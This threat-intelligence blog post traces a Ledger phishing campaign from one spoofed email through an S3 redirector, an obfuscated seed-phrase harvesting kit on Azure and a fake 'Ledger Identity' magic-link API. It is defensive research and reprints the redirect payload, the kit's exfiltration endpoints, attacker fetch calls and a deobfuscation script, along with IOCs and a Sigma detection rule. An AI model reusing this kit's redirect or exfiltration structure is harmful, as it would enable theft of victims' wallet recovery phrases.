> ## Content Index
> Fetch the complete content index at: https://f4n6.co.uk/llms.txt
> Use this file to discover other available public pages before exploring further.

# Anatomy of a Ledger Phishing Campaign: From One .eml to Live Credential-Harvesting Infrastructure
- URL: https://f4n6.co.uk/anatomy-of-a-ledger-phishing-campaign-from-one-eml-to-live-credential-harvesting-infrastructure/
- Published: 2026-09-04T11:00:05.000Z
- Updated: 2026-09-04T11:00:05.000Z
- Description: One spoofed "Ledger" email led to a 320-site phishing cluster, a deobfuscated seed-phrase harvester on Azure, a fake Ledger Identity API leaking its origin via CNAME, and a lesson in why vision models need a human in the loop.
- Author: Jeff Davies
- Tags: Phishing Tracker, threat-intelligence, DFIR, osint, crypto, incident-response

> *A single spoofed Ledger email, a phishing-tracker pipeline, a vision model that kept us honest and three distinct pieces of attacker infrastructure, two of them still live at time of writing.*

---

## The lure

It starts the way these always do. An email, sent 2026-09-01 09:37 UTC, warning of a "customer database breach" and urging the recipient to "verify their recovery phrase." Anyone who has worked crypto fraud knows the rule: **a recovery phrase is never verified online. Ever.** The moment a form asks for those 12–24 words, the wallet is gone.

The headers tell the real story:

```
From:      support-ledger@duanneseeley[.]com
Subject:   Important Ledger Device Notification
DKIM/SPF:  PASS — but only because the phisher owns duanneseeley[.]com
           and verified it in their own Amazon SES account
Reply-To:  scam.alert.ledger@collector[.]org
Sent via:  Amazon SES (outgoing 54.240.8.13)
Target:    tr•••••@gmail.com

```

The SPF/DKIM pass is worth pausing on. Nothing was spoofed in the authenticated sense the attacker simply registered (or hijacked) `duanneseeley[.]com`, enrolled it in SES, and let Amazon's reputation vouch for them. **Authentication passing ≠ sender legitimate.** The Gmail spam folder caught it anyway, because reputation is more than SPF.

Links in the body route through SES's own click-tracker (`jhnblchm[.]r[.]us-east-1[.]awstrack[.]me`) to the real payload:

```
http://cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com

```

An S3 *website* bucket public, HTTP, and serving a 166-byte `index.html` that does exactly one thing:

```html
<!-- full payload, mirrored 2026-09-04 -->
<html><head>
<meta http-equiv="refresh" content="0;url=https://verify-address[.]es/recovery-support/">
</head><body></body></html>

```

A redirect to a Cloudflare-fronted "recovery support" page. (The chain apparently rotates: during our collection the same flow pointed at the Azure host below.)

## Scaling one email into a campaign

The seed email is one tree. Passive pivots on the payload domains URLScan, urlquery.net, Certificate Transparency, Wayback grew it into a forest: **480 candidate pages, 320 scored, 37 high-confidence** at peak, dominated by a family of Ledger Live typosquats on Cloudflare Pages (`*.pages[.]dev`): `ledger-live-faq`, `auth-ledger-live-sso`, `doc-ledger-support`, `portal-ledgrr-loglive`, `ledger-hardwere--wallet-eng` and friends.

Screenshot analysis was the multiplier here. Our pipeline pushes every captured screenshot through a local vision LLM; on this run it processed 74 of 80 captures and re-graded 21 candidates upward to high confidence on visual corroboration alone. It also correctly waved through genuinely benign pages that keyword-only classifiers would have flagged.

**One of those vision analyses mattered more than all the others but not in the way we expected.** Keep reading.

## The screenshot gallery

*All pages captured 2026-09-03/04 via passive scanning (URLScan). Captions include the model's assessment.*

**1\. The Azure kit entry page** (`bedgries0b[.]azurewebsites[.]net`) device-selection step, branded to pass casual inspection:

![Azure kit entry](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/01-azure-kit-entry-2.png)

**2\. The fake "Ledger Identity" login** (`ledger-identity[.]pages[.]dev/login`) an Astro-built credential harvester with a Cloudflare Turnstile widget. This one is *live*:

![Ledger Identity login](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/02-ledger-identity-login.png)

**3\. Ledger Live typosquat landing** (`portal-ledgr-live-wallet[.]pages[.]dev`) dark theme, emoji navigation, "Gateway to Secure Crypto":

![Portal ledgr live wallet](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/04-portal-ledgr-live-wallet.png)

**4–8\. The rest of the family** "documentation" clones and fake download portals:

![Doc ledger support](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/05-doc-ledger-support.png)

![Ledger live download](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/06-ledger-live-download.png)

![Auth ledger live sso](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/07-auth-ledger-live-sso.png)

![Web ledgr sso live docs](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/08-web-ledgr-sso-live-docs.png)

A detail we enjoy: several of these pages carry a disclaimer *"This guide is independent and educational. It is not the official Ledger Start page."* visible to our vision model on `auths-ledgrcom-start[.]pages[.]dev`. Operators add these to dodge platform abuse automation while relying on the URL and branding to fool humans. **The disclaimer is the tell, not an excuse.**

## Kit 1: The seed-phrase harvester on Azure

`bedgries0b[.]azurewebsites[.]net` was the jackpot a full, live kit (26 files, 4.8 MB), mirrored in 1.5 seconds. The structure maps the entire fraud workflow:

```
index.html        → device selection: Nano X / Nano S / Nano S Plus / Blue
recovery.html     → seed-phrase entry (600 KB — ships a BIP39 wordlist inline)
verify.html       → "verification" theatre
script1.js        → 43 KB of obfuscator.io output — the actual logic
send12/18/24.php  → per-word-count exfil endpoints (now 404)
db/searchuser.php → server-side BIP39 word validation (typeahead)
db/actiontwo_db.php → second-stage logging

```

`script1.js` is classic obfuscator.io string-array obfuscation:

```javascript
var _0x5790d2=_0xca15;(function(_0x45f25c,_0x11201f){var _0x322aa1=_0xca15,
_0x2f753b=_0x45f25c();while(!![]){try{var _0x436386=parseInt(_0x322aa1(0x10e))
/0x1*(-parseInt(_0x322aa1(0x9f))/0x2)+parseInt(_0x322aa1(0x12e))/0x3* ...

```

But this variant uses a *single-argument* decoder (index + fixed offset, no per-call RC4 key), which makes static string recovery trivial. Extract the array function and the decoder, evaluate them in isolation, walk the index range:

```javascript
// deob.js — dump every string from an obfuscator.io bundle (single-arg decoder)
const fs = require('fs');
const src = fs.readFileSync(process.argv[2], 'utf8');
const arrFn = src.match(/function (_0x[0-9a-f]+)\(\)\{var _0x[0-9a-f]+=\[/);
const decFn = src.match(/function (_0x[0-9a-f]+)\(_0x[0-9a-f]+,_0x[0-9a-f]+\)\{var _0x[0-9a-f]+=(_0x[0-9a-f]+)\(\);return \1=function/);
function extractFn(name) { /* brace-match the function body */ }
eval(extractFn(arrFn[1]) + '\n' + extractFn(decFn[1]) + `
const __out = [];
for (let i = 0x20; i < 0x600; i++) {
  try { const s = ${decFn[1]}(i);
    if (typeof s === 'string' && s.length > 2 && !__out.includes(s)) __out.push(s);
  } catch(e) {} }
console.log(__out.join(' | '));`);

```

The dump lays the kit bare endpoints, UI flow, and error handling, no dynamic analysis needed:

```
./send12.php | ./send18.php | ./send24.php        ← exfil, per word count
db/searchuser.php?key=%QUERY                       ← server-side word validation
db/actiontwo_db.php                                ← stage-two logging
div#twelvewordsdiv | div#eighteenwordsdiv | div#twentyfourwordsdiv
input[name=12_first_input] ... input[name=24_twentyfour_input_1]
data-word-check | last-inserted-id | last_id
Something is wrong.Please try again later.
https://www.ledger.com/ledger-live                 ← post-harvest redirect

```

Read that last line again: after harvesting, victims are sent to the **genuine** Ledger site. Friction zero, suspicion zero.

**Status:** front-end still serving (HTTP 200), backend handlers return Azure's `File not found.` the harvest backend has been pulled, likely post-takedown or mid-migration. A `/.git/config` probe returns 403 (not 404), suggesting a `.git` directory exists but is blocked.

## Kit 2: The fake Ledger Identity API and a CNAME leak

`ledger-identity[.]pages[.]dev/login` is a different, more modern animal: an Astro-built login shell for a fictional "Ledger Identity" service, wired to the attacker's own API:

```javascript
fetch(`${API_BASE}/api/v1/auth/magic_link`, { ... })
fetch(API_BASE + "/api/v1/auth/rate_limit_status?email=" + encodeURIComponent(storedEmail), ...)
// API_BASE = https://idapi[.]ledgerhq[.]nz

```

Two capabilities in one page: **magic-link phishing** (the attacker's API emails victims a "login" link from infrastructure they control) and **email enumeration** via the rate-limit endpoint. The page is armored with the attacker's own Cloudflare Turnstile widget sitekey `0x4AAAAAAC6U-1aqd0aobBrE` which doubles as a reporting handle: sitekeys are account-bound, so a Trust & Safety report against the key hits the *operator*, not just the page.

Then the infrastructure hiccup that automated recon lives for: the login shell loads its styles and scripts from the attacker's CDN, `ltscdn[.]m6[.]nz` (BunnyCDN-backed), but the API base resolves differently:

```
idapi[.]ledgerhq[.]nz  → CNAME prx-nz-chc-1[.]theom[.]co[.]nz → 203[.]84[.]236[.]80

```

A misconfigured CNAME chain publishes the **origin host** a New Zealand box behind `theom[.]co[.]nz` bypassing the Cloudflare front entirely. The service filters generic probes (HTTP-level 000/timeout on direct requests), but the mapping is now permanent IOC record. The shell's asset domain `ledgerhq[.]nz` also resolves on Cloudflare anycast (104.21.80.164 / 172.67.151.144).

**Status: LIVE.** This is the highest-priority takedown in the set.

## The false positive that vision caught and the classifier ignored

This is the part we publish on purpose.

`ledger-portal-cliente[.]pages[.]dev` scored **high confidence, credential\_phishing**. Domain contains "ledger" ✓ login form ✓ Supabase backend ✓. Takedown draft: queued.

Then we read the vision model's actual description of the screenshot:

> *"A full-screen login page for a Brazilian accounting service called 'Ledger Contábil', presented in Portuguese... gold/amber abstract dots icon next to the wordmark 'Ledger' with 'CONTÁBIL' beneath it. Tagline: 'SEU ESCRITÓRIO MAIS PERTO DE VOCÊ'..."*

It's a real Brazilian accounting firm's client portal *Ledger Contábil*, "cliente" as in *client portal* whose Supabase project (`zwcpckcgtmprcacwrqtp[.]supabase[.]co`, publishable key recovered from the bundle, authenticates cleanly) is simply their auth backend. A small firm deploying their PWA on Cloudflare Pages. Nothing to do with hardware wallets.

The keyword classifier saw three phishing signals. The vision model saw a woman in an office with financial dashboards. **The evidence was already in our pipeline; the classification just didn't listen to it.** We downgraded the candidate, pulled the associated infrastructure markers, and verified no notification draft referenced it. Had we bulk-approved the queue without an evidence audit, we'd have filed a fraudulent abuse report against an innocent accounting firm and handed their live auth backend to an "investigation" it had nothing to do with.

Automation proposes; evidence disposes.

## Infrastructure map

| Asset                                                                                              | Role                                                                    | Status                             |
| -------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- | ---------------------------------- |
| cloud-secure-webview\[.\]s3-website\[.\]eu-north-1\[.\]amazonaws\[.\]com                           | Seed-email payload (redirector)                                         | Live, 166 B redirect               |
| verify-address\[.\]es/recovery-support/                                                            | CF-fronted recovery-phrase page                                         | Challenge-walled                   |
| bedgries0b\[.\]azurewebsites\[.\]net                                                               | Full seed-phrase kit (Azure App Service)                                | Front-end live, **backend pulled** |
| ledger-identity\[.\]pages\[.\]dev \+ idapi\[.\]ledgerhq\[.\]nz (+origin 203\[.\]84\[.\]236\[.\]80) | Credential/magic-link harvest                                           | **LIVE**                           |
| ltscdn\[.\]m6\[.\]nz                                                                               | Attacker CDN (BunnyCDN) for kit 2                                       | Live                               |
| ledger-portal-cliente\[.\]pages\[.\]dev                                                            | ~~Supabase phishing PWA~~ → **benign (Ledger Contábil, BR accounting)** | Corrected                          |
| 30+ \*.pages\[.\]dev Ledger typosquats                                                             | Brand-impersonation landers/downloads                                   | Mixed; 2 already CF-blocked        |
| duanneseeley\[.\]com                                                                               | SES-verified spoof sender                                               | Abuse report to AWS                |
| jhnblchm\[.\]r\[.\]us-east-1\[.\]awstrack\[.\]me                                                   | SES click-tracking (this sender)                                        | Identifies the SES config          |

The `pages[.]dev` family sits on shared Cloudflare anycast space we tested IP pivoting on the shared edge and confirmed what everyone knows and nobody enjoys: **shared-CDN IPs yield nothing for attribution**. Domain rotation, not IP rotation, is the operational pattern here.

## IOCs (defanged)

```
# Sender / lure
duanneseeley[.]com                      SES-verified sender domain
jhnblchm[.]r[.]us-east-1[.]awstrack[.]me  SES click-tracking subdomain

# Kit 1 — seed-phrase harvester
cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com
verify-address[.]es
bedgries0b[.]azurewebsites[.]net        + /send12.php /send18.php /send24.php
                                        + /db/searchuser.php /db/actiontwo_db.php

# Kit 2 — credential / magic-link harvest
ledger-identity[.]pages[.]dev
ledgerhq[.]nz                          idapi[.]ledgerhq[.]nz
ltscdn[.]m6[.]nz                       (origin: monarchcdn[.]b-cdn[.]net)
203[.]84[.]236[.]80                    (idapi origin, via theom[.]co[.]nz)
Turnstile sitekey: 0x4AAAAAAC6U-1aqd0aobBrE

# pages[.]dev cluster (non-exhaustive; 30+ hosts)
ledger-live-faq  auth-ledger-live-sso  doc-ledger-support  portal-ledgr-live-wallet
portal-ledgrr-loglive  login-ledger-hardware  web-ledgr-sso-live-docs
ledger-hardwere--wallet-eng  ledgerlivedownload  ledger-com-ion
cloud-leger-wallet  en-ledgrr-desktop-ie  wallet-hardwre-ledger  ledgrre-live
ledger-live-support-ne  service-start-io-ledggr  starts--ledgers-com
auths-ledgrcom-start  leger-x-logn-auth-start  getting-eng-support  manage-ledgrr

```

## Hunting queries

URLScan:

```
page.domain:*pages.dev AND page.title:*Ledger* AND (page.url:*start* OR page.url:*auth* OR page.url:*login*)
page.body:"recovery phrase" AND page.body:Ledger

```

Sigma-style (web-proxy / DNS layer), the durable logic:

```yaml
title: Ledger crypto-wallet phishing kit exfil endpoints
status: experimental
logsource:
  category: proxy
detection:
  selection_exfil:
    c-uri-path|contains:
      - '/send12.php'
      - '/send18.php'
      - '/send24.php'
      - '/api/v1/auth/magic_link'
  selection_redirector:
    c-uri-query|contains: 'cloud-secure-webview'
  condition: 1 of selection_*
falsepositives:
  - Security research mirroring phishing kits
level: high

```

And the cheapest one of all: **`GET /send12.php` on any host is a beacon of a seed-phrase kit** 404 means the backend was pulled, 200/405 means it's alive. Worth a scheduled check on every host in the cluster; the Azure backend dying mid-campaign is exactly the churn this check catches.

## Takedown and disclosure posture

- **37 notifications drafted, zero sent** at publication time — Cloudflare abuse for the `pages[.]dev` family, Azure/Microsoft for the kit host, AWS for the SES sender, and Cloudflare Trust & Safety against the **Turnstile sitekey** (the fastest kill for Kit 2, since the key is account-bound)
- Full artifacts (kit source, deobfuscated string tables, screenshots, notification queue) are preserved in the case directory with hashes
- No interaction with the phishing backends beyond GET-only liveness checks; **no queries for victim records** that data belongs to the platforms and law enforcement, not to us. Victim-notification routes go through Supabase/Cloudflare trust & safety and Ledger's brand-protection team, who can lawfully identify affected customers and watch for harvested phrases being used on-chain

## Method notes

- Pipeline: deterministic extraction → passive OSINT pivots (URLScan, urlquery.net, SearXNG, crt.sh, Wayback) → vision-assisted screenshot triage (local LLM, verified against ground truth before the run — the *other* vision backend on our lab network returned 500s for every image that morning, which is how we learned to test endpoints with a synthetic red-square-blue-circle image before trusting them)
- Deobfuscation: static string-array dump (script above); no execution of attacker code
- Confidence levels in this post: LIVE/burned statuses are from direct observation on 2026-09-04; "likely benign" for the accounting portal is a MEDIUM-confidence analyst judgment based on vision evidence, and we say so rather than launder it through automation